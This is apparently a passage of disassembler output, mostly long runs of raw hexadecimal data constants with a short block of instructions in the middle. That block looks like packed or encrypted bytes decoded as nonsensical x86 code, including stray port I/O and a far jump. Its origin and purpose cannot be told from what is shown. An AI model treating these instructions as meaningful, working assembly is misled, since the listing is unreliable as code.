		dd 7BBEB886h, 4F9A02B9h, 0FA93273Eh, 11A7A829h,	2C719526h
		dd 6E25DE4Ah, 6046AD22h, 0B32DA003h, 0A18D8913h, 6096FF80h
		dd 664B00B5h, 612B97BAh, 0DD7C8A50h, 1C6032ADh,	2DA429F2h
		dd 0E025800Fh, 0EA6BAEF9h, 42071D23h, 0C213685Eh, 1982A7EFh
		dd 5DB07FCCh, 1C4BBD95h, 5D826EAEh, 75408B42h, 1AC0C030h
		dd 56A2E2BDh, 7E365152h, 0E696FD8Ch, 0E95011DDh, 4EBF5A0Ch
		dd 9300F7C9h, 81F4E7E3h, 94B6965Eh, 584DB0E1h, 0DB1D81A8h
		dd 5F9217B1h, 9AD7D5B9h, 9B9C8193h, 0E92EBB02h,	0AF37A9DEh
		dd 0CE3FD400h, 0F9CB93A8h, 0BFBDD35Ah, 82469AD7h, 0D5E298ADh
		dd 0E949D007h, 54C4B671h, 6A2AAE53h, 0CFFE2183h, 0D7C07B82h
		dd 0FF821A69h, 6FC6A4B1h, 4082649Eh, 0AA5C7078h, 46B5FF7Ah
		dd 2AA4943Dh, 5129318Fh, 162EF3E9h, 0E055A69Fh,	32D8406h
		dd 8AF9A08Fh, 0F8A2BB4Ch, 908696D7h, 159920BEh,	64B35012h
		dd 9B057E85h, 9BFE6ADBh, 7CFFC04Bh, 942F0CBh, 335730D9h
		dd 3E092664h, 0DC128CDAh, 8FC1C307h, 55086C5Fh,	37AA3017h
		dd 0E2B616D7h, 0E6D195DEh, 0B514DA2Fh, 658D42C0h, 0A17E2A45h
		dd 5E287B64h, 0A7700098h, 0F4C3ED2h, 870EAE38h,	6495337Ch
		dd 69ADD5B9h, 4A7439BDh, 94C305A1h, 0C09D9BABh,	281FF282h
		dd 0BD2B13B8h, 0B515E4A5h, 3A97D97Bh, 0E0E14DFCh, 14236FBAh
		dd 7F6E400h, 0F5C3506h,	78034581h, 94512E20h, 80B39901h
		dd 0B93A5F12h, 2B67A95Ah, 0B05D0972h, 4622A7DDh, 0D58ED1FFh
		dd 0BC5FFEC4h, 70B1A515h, 0C1B59B2Fh, 26ACEDCh,	9E128968h
		dd 0BF0C00E6h, 1E205CE8h, 8092D19Fh, 33791A93h,	990365E0h
		dd 684AFAB8h, 7505BA94h, 335023E5h, 6DB52529h, 0D9A24E8h
		dd 0D7410887h, 1314467Ch, 99ABFC6Bh, 0AF222B4Eh, 80DF6D9h
		dd 2A7FE9Eh, 0D770326Ah, 1B118E37h, 0BCFD8880h,	7000AFA9h
		dd 45BFA8F4h, 4C61CC4Bh, 0B64BD452h, 0E8D94A91h, 9FD5EA20h
		dd 0B5D55B89h, 871D91E2h, 731AEDCh, 57DCFECDh, 6A76134Ch
		dd 90C752FFh, 19B1B5B2h, 0F5BF6680h, 0C4A15CC2h, 0BDC45C36h
		dd 292311A1h, 0F691AFC5h, 222370E6h, 16DC8F00h,	0FBA950A6h
		dd 7296B209h, 5382DD1Ch, 0FE071E4h, 2625A6E6h, 38AC94Ah
		dd 8F2967BBh, 0E4FE92D6h, 7168B590h, 0AD3892A7h, 0E94E5C18h
		dd 0C192BB79h, 1A538CE0h, 25F5756h, 9521595Dh, 0B700AD25h
		dd 8AD18BDFh, 0C054E9DAh, 26848127h, 67080485h,	0EBDAF4FEh
		dd 0B2629Ch, 39AB7FE8h,	0F73102A9h, 87B83C00h, 5B7CEF16h
		dd 6A4745C5h, 551D79C2h, 1512A871h, 0D702B2E2h,	7AE9C939h
		dd 0C6E30AA1h, 0DD9E20AAh, 689D154Bh, 89A9BD2Fh, 0DE6F5FDh
		dd 818040B1h, 0DDFD90F3h, 40A29648h, 19082225h,	4FEE4B00h
		dd 27411CC2h, 548217FCh, 4EBB883Ch, 0BC59B800h,	0F76AAEE5h
		dd 0D6BE00AFh, 5648683Eh, 5F4B4281h, 99109F8Ah,	0B0048807h
		dd 4F3F60E6h, 0CFE07E61h, 612E8223h, 45584A7h, 6A3CCCBFh
		dd 78425BBFh, 880970F3h, 87D5C9E6h, 5779DBE4h, 1A91DB35h
		dd 0CCFDD880h, 38253EA6h, 0FEB01077h, 7D3BE4F5h, 0BE830113h
		dd 0A3A72742h, 0D9D46EB9h, 0D4A04180h, 88EB0481h, 0B87EAD05h
		dd 9E6E5FA8h, 7DDFA700h, 7CA2A827h, 11891C27h, 0A241FC47h
		dd 34072B1Dh, 0B820ADC0h, 181D016Dh, 2BEA9240h,	0D9DB7AD2h
		dd 0EE53A28Eh, 4A8A80C8h, 0D24FE6FDh, 9485479Ah, 52C63286h
		dd 0B512EC75h, 0E6A1895Ah, 0F6E2EFBh, 118D7B07h, 0F351B2FBh
		dd 104B12D0h, 0F6FA07D4h, 0C6EBE45Dh, 3A2F4EE0h, 5920D3C6h
		dd 42F1817h, 0B72E650Fh, 636BAEB1h, 0F41F1A23h,	0A60DB941h
		dd 2B2F949Dh, 6C05B0Bh,	5B0F67CEh, 4AD0E68Ah, 854BE2CAh
		dd 0CBF6AA6Fh, 7F7A3BF2h, 7837FB9Fh, 7E139903h,	0BA447C21h
		dd 20AF14C4h, 0ABD26213h, 8C2B0207h, 0FCE15B0Dh, 0D9602379h
		dd 0A40B8324h, 5731C995h, 97B3BE16h, 442FB759h,	3C1B8D09h
		dd 0F855D494h, 0B823A116h, 599CE370h, 4B7A7527h, 30DE8ADAh
		dd 0FC602554h, 1CCE1D80h, 7037A561h, 29BC7D03h,	7C509A9Eh
		dd 16C1403Fh, 4E4EECB1h, 5B4528EEh, 4DEC0B97h, 0EF74C440h
		dd 950B46E3h, 0B5D73105h, 0BA30278Ah, 260058D2h, 8DD4974Ch
		dd 4DD38B44h, 2F20AE52h, 2D35B4Bh, 293B04E8h, 0AA20F59Dh
		dd 0E10BCC73h, 6F2E2C89h, 2017239Ah, 0E3070BF9h, 6E85F9BBh
		dd 3717AE11h, 0CB806A43h, 5C7A1Bh, 38EC68FAh, 52504D1Ch
		dd 0D9F71097h, 0CC2500E4h, 0F1844AEEh, 0E5003AFBh, 8681B21Ch
		dd 4B6707CDh, 0AB5894BBh, 3B136B01h, 56744D03h,	0E6935A89h
		dd 0BD9D081Bh, 1546F428h, 1253FB2Eh, 198AB385h,	955F154Dh
		dd 882F7DC6h, 9B1301AEh, 6E1FC4E9h, 137DA3FAh, 0F7F187B3h
		dd 0F842342Bh, 2BB6D2D4h, 6A3015B2h, 0E4569D76h, 6727BB61h
		dd 0B5258918h, 9FB2640Dh, 5ABF5B98h, 214C0C16h,	8DD960AFh
		dd 409132B9h, 0A2899849h, 7852C031h, 0F353D732h, 0FB4A6DFCh
		dd 409BB8C5h, 0E93EB9C0h, 0FA12BF82h, 0B2C065E7h, 4A890E58h
		dd 1538D234h, 5799BA55h, 98F52609h, 1AAB68CFh, 1ADFCE63h
		dd 0A09FC8D5h, 0B6204E50h, 71CFE0DCh, 7D5213E2h, 0C804AF7Ch
		dd 610E1D81h, 0B763F7AFh, 85E244DEh, 0C433EFDFh, 0FAE0FE27h
		dd 89C70B72h, 0E12441BDh, 1B8A250h, 0DEFAE468h,	9DF0BA26h
		dd 8523022Eh, 0B1A486F6h, 25D47277h, 0E0EEE0C3h, 13D4F3BEh
		dd 0A661CC27h, 989BE380h, 0BBB6C4Ch, 5D901CE8h,	0D37AC456h
		dd 13CE5035h, 0F656433Fh, 0DB02D405h, 0CBEA5F5Dh, 803761D7h
		dd 0CE6A66EFh, 0CD6BFDBEh, 688CD9B7h, 59DFC92Dh, 54F944E9h
		dd 1D351098h, 2FC0D848h, 0DB5F335Eh, 0E1004F7Bh, 0F43F9A28h
		dd 0A20F059h, 2398544Eh, 3ACE59A2h, 0ECE98CADh,	3B09FBA0h
		dd 78FC21FEh, 0A9195E37h, 9739BD2Eh, 4879C09Eh,	0F2D5EEB1h
		dd 25EB884Eh, 9374AA68h, 9EC04B9Ah, 80972854h, 0A9C94207h
		dd 33349509h, 76DB23B9h, 5BBD18EEh, 0C9B584A1h,	85C85226h
		dd 0E82100B2h, 89D9ED04h, 0C63B393Eh, 0B5880DDh, 508BF256h
		dd 752D05BFh, 0ED964F5Dh, 0F22EB986h, 0C0A25842h, 3D2D32FEh
		dd 0E6BB0044h, 90628C4Ah, 3059227Dh, 1F6D14BFh,	3E8CA4CEh
		dd 986600B7h, 3841A775h, 813CF0E0h, 203B0954h, 0DD5982A3h
		dd 0EB5F041Eh, 2EA1638Ah, 177A2021h, 0AF19640Eh, 0E423A920h
		dd 55C28A51h, 37D0F4D3h, 0E5851031h, 69B05F27h,	0B1659528h
		dd 0FB5ADh, 0A5412A99h
		dd 9B05E009h, 0F9928106h, 0EF0ADCEBh, 51D1141Fh, 16B45125h
		dd 866BEB5Bh, 77008D57h, 0CCEFA66Fh, 66E237B8h,	1DBF2Eh
		dd 0EA53F307h, 6DB84214h, 4EE9DB40h, 0A03FAB12h, 0A61C2Bh
		dd 0A62018FDh, 0B612D40Ah, 58E62D08h, 4A3114B2h, 0A94C162Eh
		dd 9FEC3Ah, 36F1D905h, 0FFE7A49Ch, 574F2B97h, 9109FEE6h
		dd 5926F4E5h, 3D705414h, 0B78D991Dh, 0BB0DDE83h, 59D280B6h
		dd 2F2F72BFh, 873A3DAFh, 0E35065FBh, 0B97501A2h, 3D92C5BCh
		dd 0C19A7083h, 9EAC74Bh, 0A9574BEFh, 6B9AFF74h,	0A6343877h
		dd 0A10FA0E9h, 0CFBC043Bh, 0B04A6DFEh, 0F275FB9h, 0CF947D87h
		dd 741C1B5h, 1247CB2Ah,	5DE2334Dh, 8ECEDAD2h, 40E88A25h
		dd 0A8B53000h, 2B6B160h, 0FBB9EA63h, 90578E22h,	1E37DB0h
		dd 45DE4B29h, 2E5F667Ah, 95597128h, 0DF60F54Fh,	0A187461h
		dd 0F3CED811h, 0B75FADB3h, 8D7325C7h, 6066D4A7h, 759392ABh
		dd 0C1AFA005h, 0B42861F9h, 0BC255E7Dh, 0F8B6B550h, 16A4EDA0h
		dd 86B39E3Ah, 958D37DEh, 0DB6F976Eh, 667826C0h,	31C204CBh
		dd 923D995h, 0BD01D056h, 50256173h, 0F0052523h,	7F1382C5h
		dd 50EC77FDh, 0C271AF0Bh, 0D785F75Eh, 165692ECh, 0E46CED55h
		dd 0A3F26018h, 0D1E0279Fh, 0CFD599E2h, 5B236013h, 0B1171C52h
		dd 91B081BAh, 0AF1E4A35h, 7285C439h, 0AE2EE9F8h, 0BD0B6502h
		dd 0BBB4A0C5h, 4AA54F33h, 0ED2AE462h, 0AC922A42h, 50EB4E29h
		dd 5148E4Dh, 0F9938833h, 17E64BCDh, 0BCB760F0h,	4BC4AB02h
		dd 74D2DC6Bh, 0FC06342Dh, 0E69B0B38h, 0B419216h, 0F3475DC5h
		dd 0B8E066CAh, 2EC3E72h, 8A7085CDh, 0FB61F90Dh,	47C83B90h
		dd 92461E35h, 5700F960h, 0C245B959h, 41B779FEh,	1465903Eh
		dd 0ECA43C37h, 0C2C1A4CBh, 50A5018Fh, 2B123CFCh, 0DD4A45E7h
		dd 27DA2A0Fh, 83F4C09Dh, 0FF346E2Ch, 5E6ED15Ah,	8BE52F73h
		dd 0B29231D9h, 9E8B2DE2h, 2500CD3Fh, 1EE1C7CAh,	0D38F1356h
		dd 82014178h, 26026ADFh, 4273F037h, 8467008Ah, 0F6F5E6BCh
		dd 1125BD03h, 0BB6AE830h, 514E127Ch, 95DBFB6Dh,	3DE43180h
		dd 3E594135h, 8B608089h, 9D5E52C2h, 0AD3DB973h,	594539FAh
		dd 2EE8E911h, 0A5B224B8h, 0AA7C8B42h, 71411DDEh, 0C2CF44DCh
		dd 4B36EE9Ch, 1A55250Ch, 2BE76F5Ch, 0AAA3F2C9h,	7371DFD1h
		dd 0CDA50FA4h, 1E1DC0EDh, 0EFFEAA3Ah, 0D4A9FB0Ah, 0F509CC6Bh
		dd 8A14D72Bh, 17658AC4h, 315A28AEh, 4A2E855Ch, 0C82A72DDh
		dd 0B2005FB6h, 8218EFF2h, 4A4D7658h, 0BCAAED6Ah, 9A6F00BBh
		dd 6614F5CCh, 474F0CEFh, 9889D28Ch, 8F1D61C8h, 729A5B5h
		dd 0B7AADF3Eh, 49BD0109h, 0AB945530h, 0B8202545h, 0B01640E5h
		dd 0E6D888h, 0FBDB8170h, 0E469E0D0h, 0F7807109h, 447B720Dh
		dd 19975205h, 0AD3A5BCAh, 2E6911C2h, 0D1E781C7h, 207FBBCEh
		dd 41599557h, 0BD310916h, 0F1B5F09h, 19D94214h,	114A760Fh
		dd 0BF041BE2h, 0EA3397D3h, 0C163AFB1h, 0E778DD00h, 27168F73h
		dd 8CE83B5Ah, 0B0AC8AC7h, 40EF6AB6h, 0BE804300h, 0CB2C0EA1h
		dd 0F95126C0h, 89C8138Bh, 539405Ah, 6700D726h, 0B2C23DCBh
		dd 1DD0D137h, 4C8B365Dh, 7D80D380h, 0C0DFD28Bh,	0E24C44EAh
		dd 7CBF1D5Fh, 379825Ah,	0B5A93D9Dh, 0B5F46055h,	1084385h
		dd 1B2FEB81h, 482E250Bh, 0D5A017B1h, 2403E120h,	6FE745E9h
		dd 231313A8h, 0B77E12AEh, 5F5612B3h, 2821A9E2h,	0A4C7DF0Fh
		dd 7EB90BB0h, 0D798BA93h, 312C41B1h, 0F56C021Ch, 6C2560DCh
		dd 6413127Dh, 0C0039B16h, 4F58A120h, 81273B0Ch,	0E091EF19h
		dd 9F2E2899h, 0B9BCE301h, 6B2E2D7Fh, 38172383h,	9CBF548Ch
		dd 26411D66h, 0A7105C93h, 590BA0A3h, 29C5055Dh,	0A891CFF5h
		dd 25EF4E75h, 0C4AD1E0Ch, 0B81BA5ACh, 61BB5B9Dh, 720C1ADh
		dd 0C07C4DDBh, 8E5C5918h, 0DA8AB713h, 0EF9260ABh, 9A1BA2Dh
		dd 1EDB8E8h, 0C1FDB7A7h, 0D7C4BEC7h, 4D7700EFh,	0ADE6A43Dh
		dd 8D2F89DBh, 5F7504F1h, 0FAF47CB8h, 498D6620h,	8F0617F1h
		dd 29400203h, 0A9551585h, 70E45BD6h, 1F0BB27Ah,	0D723E2E8h
		dd 9198682h, 0DF185509h, 6DB5EAB3h, 0E0A268B4h,	0B491BAA1h
		dd 2E9CE013h, 8CEA8B13h, 2D998C66h, 9D204427h, 3D012065h
		dd 0CF5E938Dh, 7C50207Bh, 0F3BF0560h, 4C65A5B6h, 0AC44DD69h
		dd 2110C194h, 1CCF824Fh, 4EB79CD5h, 3397BCFh, 6EAFE7D4h
		dd 457424B5h, 7CF3AF27h, 476CEAD1h, 277EA780h, 0FD3A8353h
		dd 94A900B5h, 2ADB5CF4h, 72AF253Bh, 569C46CEh, 0BEE500D4h
		dd 17698F4Ch, 1604B7BAh, 19B50950h, 605B9BD1h, 4B525DE2h
		dd 75FFBDFCh, 0E1A56090h, 0DC0694h, 450A9198h, 2ACC21EEh
		dd 57E3264Ah, 3336F04Fh, 1E45BD12h, 508491E3h, 8D9EAB04h
		dd 18D14F81h, 9FE03AC4h, 801A4091h, 0D73CF425h,	345EAE14h
		dd 0D3C093DEh, 3A16280Dh, 0BB38720Ch, 0F3C576CAh, 3923C104h
		dd 0BE8E2B2Eh, 0C46DC134h, 981CAB9Eh, 0AD22A50h, 0A4CFF589h
		dd 52B51223h, 97BABC2h,	0F9C9F200h, 43BDBF66h, 0AD852E97h
		dd 0B63A8B01h, 0DE533CB1h, 5B27A1B2h, 0B7C2AF5Ch, 0FA61DDD8h
		dd 0D1B13160h, 319370D2h, 5F8564Bh, 5BDE29C0h, 0B2090E8Fh
		dd 5D5F494Bh, 7DE98147h, 4EA6B438h, 0E8B00205h,	0D0FF9529h
		dd 0C89ABB73h, 90593527h, 662F4E8h, 7F9B57A8h, 0BB0470A4h
		dd 51A6EF27h, 0D288E2BAh, 80BBE524h, 3281A61Bh,	0EAC0C631h
		dd 0E2A75953h, 0E1FD8F90h, 8173519Dh, 7314F0ADh, 0D5E6A55Ah
		dd 0BABB9890h, 7BD3821Eh, 57894A6Ch, 0D5A712B5h, 6A581B49h
		dd 59E0C6B6h, 7312EABDh, 47EC8B0Fh, 0D18509B0h,	6AE2165Ah
		dd 556AEFD2h, 1DC0A709h, 738253E2h, 215E2AA1h, 4CD780E0h
		dd 1DF20E9h, 650030B9h,	0AD4AE1BBh, 427B3877h, 0C462839Dh
		dd 0AA1D63DFh, 16C8EDDAh, 9EEFA8C0h, 859D122Bh,	0F2FEE608h
		dd 46D5321Bh, 0B62C35A8h, 0AE3C13F6h, 1823286Fh, 49CDD427h
		dd 46D61856h, 51D01F14h, 0FDD6CB41h, 0E6425043h, 90C5EC06h
		dd 2551252Dh, 46DEE65Eh, 26150218h, 0DD13D067h,	7B46C369h
		dd 0FBC166A0h, 2A605001h, 0AA1A6920h, 5BF0413h,	98197339h
		dd 60058DE7h, 810F5A61h, 0A56CD1C9h, 5851B180h,	3702165Fh
		dd 1BFBC055h, 2AABFF5Eh, 1F1A687Eh, 7962D5D7h, 81505F5Ch
		dd 0F0DF24C3h, 24BB58FEh, 767F7816h, 8B7B5EACh,	48F8D639h
		dd 9E80CED4h, 0DFDE48B8h, 6FBEDED7h, 0BB310C41h, 25DB9A5Dh
		dd 6BE64295h, 45770979h, 0BB70DE9Fh, 0AF507B9Dh, 0F40094B7h
		dd 0FBB422D9h, 1F88249Fh, 12CD0905h, 0D2D20B94h, 618BA6FDh
		dd 73C0D46Dh, 4B9C1622h, 6145CB84h, 3546D7F6h, 3182282Eh
		dd 4F9E7AE1h, 0C0F29D80h, 4A98E1BEh, 2704095Dh,	892159E9h
		dd 505C0B69h, 8D64877h,	0D1272959h, 0E3818064h,	24465EF5h
		dd 55509497h, 0B00B9C66h, 0C81B5935h, 7E7297D1h, 0C58B860Eh
		dd 6D0B72B7h, 9949E6DFh, 16C80ECh, 25EAB76Eh, 81897212h
		dd 16B2FFE6h, 4983F630h, 0BA130A36h, 172AAFA1h,	1DC0738Fh
		dd 9501B2C9h, 0D722F125h, 1C138637h, 8AAB7A65h,	50961C07h
		dd 9D8D8982h, 9267FC0Bh, 45DCEA35h, 0D41997F9h,	37348F8h
		dd 30219D12h, 0B1918AABh, 8C6BB8FCh, 0BD12236Dh, 9BEB2161h
		dd 57A69662h, 7A31A00h,	459D23EDh, 0AF9027B2h, 0A6B12E09h
		dd 0EF46C650h, 0F21C1D23h, 0AA8C8011h, 0FD2CC835h, 0B195729Dh
		dd 2A5680BEh, 67B69D28h, 93B18ED2h, 2351E541h, 4512DD6Ah
		dd 2E8BFB87h, 5A65F250h
		dd 0D7F9A230h, 0E43DF66Ah, 5D0E4080h, 25CA73D4h, 3B609CA9h
		dd 110AAC2h, 24D18D8Bh,	5B6261C1h, 4528E1B4h, 0F9FC1703h
		dd 7AE89702h, 0C296D9C4h, 67D650C0h, 0CCFAFF45h, 0DC06E926h
		dd 965B2668h, 0DE1E89F2h, 84A8AD2Ah, 0A2FA1331h, 2CFFACEBh
		dd 0A5F326DCh, 16916790h, 78F0011Ch, 80864A00h,	4AAE69Bh
		dd 0A85A3BD7h, 0A307B87Fh, 0D50B8738h, 8F805B37h, 2D71B35h
		dd 0B0495B9Fh, 0A0AE8A36h, 9AE8894Fh, 0D302BF89h, 0E6563667h
		dd 1C1B3DE2h, 0D450BCh,	33D2DADCh, 0CF81A493h, 5DBC4309h
		dd 446FD51Eh, 0D58968E2h, 0ACB0735Ah, 5B17D12Dh, 0DC6BAE1Eh
		dd 45785B09h, 9880094h,	120F51B3h, 0E25FD9B7h, 82348808h
		dd 0FF4DBB66h, 3C6AE256h, 55E9C616h, 9079C2E8h,	0F50448F4h
		dd 0FE26DA98h, 0D2F7BDACh, 0DD29CCE9h, 7BC12EB1h, 38FF020h
		dd 0A76E7045h, 8AE98901h, 0CE034E58h, 66FF4CC3h, 39CD826h
		dd 3B880087h, 0D522EDA2h, 0BE03513Ch, 0BA348171h, 56EFC0D3h
		dd 8DDA0335h, 26739CF4h, 0C10E01A8h, 9098E700h,	4DF652F7h
		dd 0A77784h, 0C558B7D7h, 0F31C7297h, 0B9E8BE67h, 63F6D600h
		dd 7493017Ah, 0C81740C7h, 6A00C7ECh, 0E71CF39Bh, 750F3FC0h
		dd 0E2333E4Eh, 0B1DDEE80h, 1A65DCA0h, 0AB000971h, 4A420B40h
		dd 0EE4D06C5h, 59B600D9h, 0B1E65124h, 17001FDEh, 47E00E70h
		dd 3F750813h, 0FB00FA90h, 26851192h, 0ED00E271h, 602E3FD2h
		dd 0C962AFh, 88948C7h, 0EF9DEE21h, 39F72000h, 0EBE87BCDh
		dd 0DB3E0052h, 0E52A65B4h, 7201DDB0h, 94ABD207h, 0DFD4FB8Ch
		dd 7D880047h, 0DA06F1Ch, 80008FFCh, 0A79840C1h,	339B5Eh
		dd 0F9A18619h, 4F6769EAh, 702C8F00h, 38A9F588h,	0E378ADh
		dd 0C74846DFh, 0D43B4F08h, 355C4100h, 4A27ACB4h, 69213F4Bh
		dd 0F98C8301h, 8026F599h, 5D16A5E8h, 49DC33h, 0D5ADE4FDh
		dd 222BC39h, 2EE2734Bh,	30A6C944h, 0D3B25FE7h, 1D7E52BDh
		dd 0C09F6CC0h, 0F640A53Ch, 62906651h, 4E2246FEh, 72A00701h
		dd 0E0C0F51Ah, 600D7A82h, 636E4AC0h, 0CDBFD0h, 5A028342h
		dd 8CE89C31h, 5439CC17h, 0D60BB200h, 3B52C40h, 0A66923DCh
		dd 0FAD89E71h, 30007D92h, 6E22F797h, 3DB6CA1h, 0B05D0899h
		dd 2EB00417h, 5018586Fh, 0B3F21E37h, 580190F0h,	7100B8ABh
		dd 20D6D366h, 311D5B14h, 75C0A9DEh, 5061F41Bh, 9DD2123Dh
		dd 3EA20076h, 92A33609h, 0E015FA00h, 2B647D01h,	0F11E1272h
		dd 0CF2A005Eh, 6AA5E982h, 5F42F1A4h, 3C05EA00h,	0EB02C14Eh
		dd 0BBCCD418h, 30BDC81Fh, 90F7A0Dh, 86006BFEh, 0F36B7F6h
		dd 0A2E75Eh, 337F1298h,	0C38FD7AEh, 7D1CAFA0h, 18146E88h
		dd 4592F5FDh, 5303E6F1h, 8FC44B42h, 0EFF798C6h,	0EB1FC098h
		dd 0AA4075E0h, 0A04B9612h, 0C089E160h, 9692CFh,	0C48DC24Dh
		dd 490E43CCh, 974C9503h, 308E536Fh, 0CF86FC50h,	0DC007516h
		dd 6C2F6DC7h, 73DD48F4h, 9F4C604Ah, 1FF0A059h, 0B617EA00h
		dd 310439D6h, 7270289Eh, 0F6BF18B5h, 1677929Ah,	0FBC4F900h
		dd 73467B94h, 5FD8E912h, 2CB501C9h, 3DE22B7h, 1DB241E8h
		dd 2FDC4067h, 0D803ABE0h, 0B7583445h, 4824F282h, 120C7830h
		dd 48C6BED5h, 65401349h, 2F71872h, 0AB107F38h, 90A0E4A3h
		dd 0EC218C97h, 7A00BC92h, 0C9C32DF9h, 0FC1F4995h, 6133F7Bh
		dd 35608900h, 0DE08C143h, 8241AC00h, 184DC2C9h,	0CDB20045h
		dd 0FF8F8A04h, 800DB10h, 0EB9F689Dh, 50F2EF24h,	76EE7AEh
		dd 6D265F82h, 0F1BAB020h, 3B04709Fh, 596AFD68h,	0E01F4A82h
		dd 0C3E387FBh, 56E9F49Eh, 0EF3FCE8h, 0B7004F79h, 8E49F207h
		dd 0FA13C5h, 7DDE37E3h,	7A14DD12h, 51489500h, 6D23F698h
		dd 19AE4A2h, 0C627FA2Fh, 0E8B346C9h, 3EC065ECh,	0AB774B31h
		dd 0B9A700FBh, 45791B90h, 7E054A3Dh, 2E394DF1h,	0B235780h
		dd 415C082h, 0C8C621C0h, 61FA4700h, 0E4ADE22Dh,	306500AAh
		dd 0D914CD51h, 0D005AB5h, 0AEE1B818h, 0A9296D24h, 0A5E0BFC6h
		dd 0F4F9EEC0h, 49F10077h, 914A0914h, 70001EFBh,	2C976A9Fh
		dd 4EBB499h, 861F6CA3h,	9A6C008h, 55008A85h, 0D70C038Ch
		dd 5D0810Eh, 0C846B2B0h, 4C1580CCh, 4000B83h, 0BA1FC2D6h
		dd 18859C43h, 0C2D30A7Dh, 0DB136E79h, 2600528Fh, 0BDD4CB18h
		dd 0CFD271B5h, 4AA6B120h, 3E0E2F3Dh, 5C35C833h,	62CC8DDAh
		dd 2E2BA0CCh, 371A75h, 0AFA3B253h, 79A0561h, 0A4AED90Eh
		dd 6FF804BFh, 8CC73481h, 53349A86h, 6B02105Eh, 0F1FB2AB7h
		dd 0D8BA8E04h, 12594718h, 4095F2FAh, 0A9E5E64Fh, 9003FB66h
		dd 2D354C43h, 291D075Ah, 1C7C8B1Eh, 0ADA6E68Fh,	12815520h
		dd 42E0AFB0h, 44FDBC00h, 4F341CC0h, 21BAA9A8h, 55181392h
		dd 2DF28837h, 810D00C6h, 0F386598Eh, 0AF0F3AA7h, 0E330DFh
		dd 20D9987Dh, 0E5AB196Eh, 828FE72Ah, 4EE1EC3Dh,	0F60F40DFh
		dd 48B7E08Ah, 0A0B6FB3h, 7F40A338h, 46004149h, 3547E408h
		dd 2C4F972Ah, 836B0F44h, 22DBEA92h, 0BBA89940h,	0EEF7261Dh
		dd 2404840h, 0A49F8F2h,	9F55A2ADh, 43003F7Bh, 0EC236BCCh
		dd 5103E4B7h, 4968DAE2h, 4C5790F4h, 0DC4E4D17h,	35882AC0h
		dd 0BB1C3C6Eh, 0E800E578h, 0F5C9B29Bh, 9A1B0052h, 0CDD9F19h
		dd 0E900A803h, 2508A6E1h, 0CAD5B6h, 8DF6EB37h, 0C154BBD4h
		dd 31DEB006h, 3D8A4BE4h, 9000CE97h, 223A16BCh, 5FFE9219h
		dd 0A87BB000h, 503F083Dh, 0C18A26BFh, 0C4593BBh, 0E1562FE2h
		dd 7E83A14Ch, 0F50797B0h, 0A8DD325Ch, 4B2648C9h, 72340222h
		dd 0F2BBF01Fh, 753EBCE0h, 9500B399h, 117C457Ah,	2EC970FEh
		dd 28C1828Dh, 6CF3A8Eh,	0E6568B9Eh
		db 59h,	80h, 0D4h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 0CA63046Eh
		in	eax, dx
		push	es
		add	[edi-76A3DBD4h], al
		cmp	al, 0E9h
		dec	ebx
		push	ss
		lahf
		cli
		cmp	dl, [esi+8]
		out	81h, al		; DMA page register 74LS612:
					; Channel 2 (diskette DMA)  (address bits 16-23)
		mov	byte ptr [ebx-7Dh], 0EEh
		jmp	near ptr 280E9007h
; ---------------------------------------------------------------------------
		dd 0A40FBE40h, 260616F3h, 0C168BF0h, 5404C483h,	482810Fh
		dd 8921EC38h, 0C29BFF14h, 5A0856A8h, 5E30FF66h,	0A58B7241h
		dd 8742BB5Ah, 0FB60D8E9h, 0EC4BFFh, 2379AA48h, 0F89FB83Eh
		dd 0C5039EC7h, 80F6E0F0h, 58193C60h, 0A6BE187h,	5635704Bh
		dd 51006141h, 7908A8D3h, 0FBC311h, 0F1CD0117h, 0BEC5592Bh
		dd 9F3B7A03h, 0B453BDh,	0C7124B0Eh, 0A88749CAh,	105BFE00h
		dd 0B94A3E7Eh, 50F300D0h, 7FF84581h, 0F6035F43h, 1F715324h
		dd 0E24D900Dh, 275F860h, 0F3D16FFDh, 0B17E3D90h, 7C8B5263h
		dd 403DBC54h, 55F37F80h, 74061407h, 0C4300D47h,	5547E02h
		dd 3DBF66C8h, 93C1AFF3h, 0F01DC8Ah, 4A2A6984h, 7DC122F8h
		dd 0E01CAC38h, 0AE00309Ah, 8B7FB0CFh, 9F25E98Dh, 76C278F4h
		dd 0A149E040h, 0DA2E12C2h, 7A0EBF5Ch, 9ADB72F9h, 0EB89C1C5h
		dd 1379F8A6h, 0D027ED85h, 16FB8191h, 0B80737BDh, 41D02500h
		dd 24E45293h, 53BE7C17h, 28DB08EEh, 2DA15025h, 204426A1h
		dd 49A7DC9Dh, 97C0CEFFh, 0B0479BCDh, 5F867330h,	56EF0681h
		dd 4C19F3C7h, 3AFB4095h, 0C0E9B736h, 0F07EF6E5h, 61C489E7h
		dd 0B7510B90h, 9E597A4h, 7FB527h, 0E99D6D63h, 0AD17E780h
		dd 6BED1FFh, 6B2381B8h,	0F9B09CC7h, 615B3521h, 2BE6793Fh
		dd 1EA2EDB6h, 0FA27397Ch, 26A2BECh, 484A78B1h, 651DA816h
		dd 55EA6DB1h, 5A9C4AF2h, 41098DCh, 883C27Eh, 1B01FB51h
		dd 11852960h, 8C6E4F25h, 9403F03Bh, 2EF86C4Dh, 4678F010h
		dd 0A41E00BFh, 0D268BC9h, 0B19F5A5Dh, 0D9F457F0h, 16E9135Bh
		dd 0C4E6F20Fh, 0CC1FFB8Bh, 501B088Ah, 5C85012Dh, 0C85B96E0h
		dd 2B0C9239h, 0FEB8DFBCh, 0D39A9F9Fh, 6A32EFDCh, 90185790h
		dd 0C00BAEAh, 1AEE9CA0h, 0E4B532D6h, 0FA1B09D2h, 8774904Bh
		dd 0AF3F25DCh, 0A7CD355Fh, 9500F34Ch, 33BAFE12h, 9F2831BDh
		dd 619DED94h, 753F0849h, 0A52B04EDh, 0D46D5F14h, 8CF6DCDFh
		dd 492EE305h, 0A2BB1E5Ch, 60033542h, 0B508A3B9h, 0D92D32E5h
		dd 9C6003D2h, 589083AEh, 0BB07D292h, 9D1AEFE4h,	8A7F1CD3h
		dd 9D665DB8h, 0F4D85B4Fh, 0BD238848h, 3E245D21h, 0A178BFCBh
		dd 9C705EE6h, 304029B9h, 0B77114E4h, 151E90CAh,	0FD5EBD34h
		dd 0D989D632h, 10073680h, 48B5D039h, 0AB969D13h, 0BF78C8FAh
		dd 2DFBF938h, 0BB21483Ah, 0C01B160Dh, 220A32Dh,	0A5BF35DBh
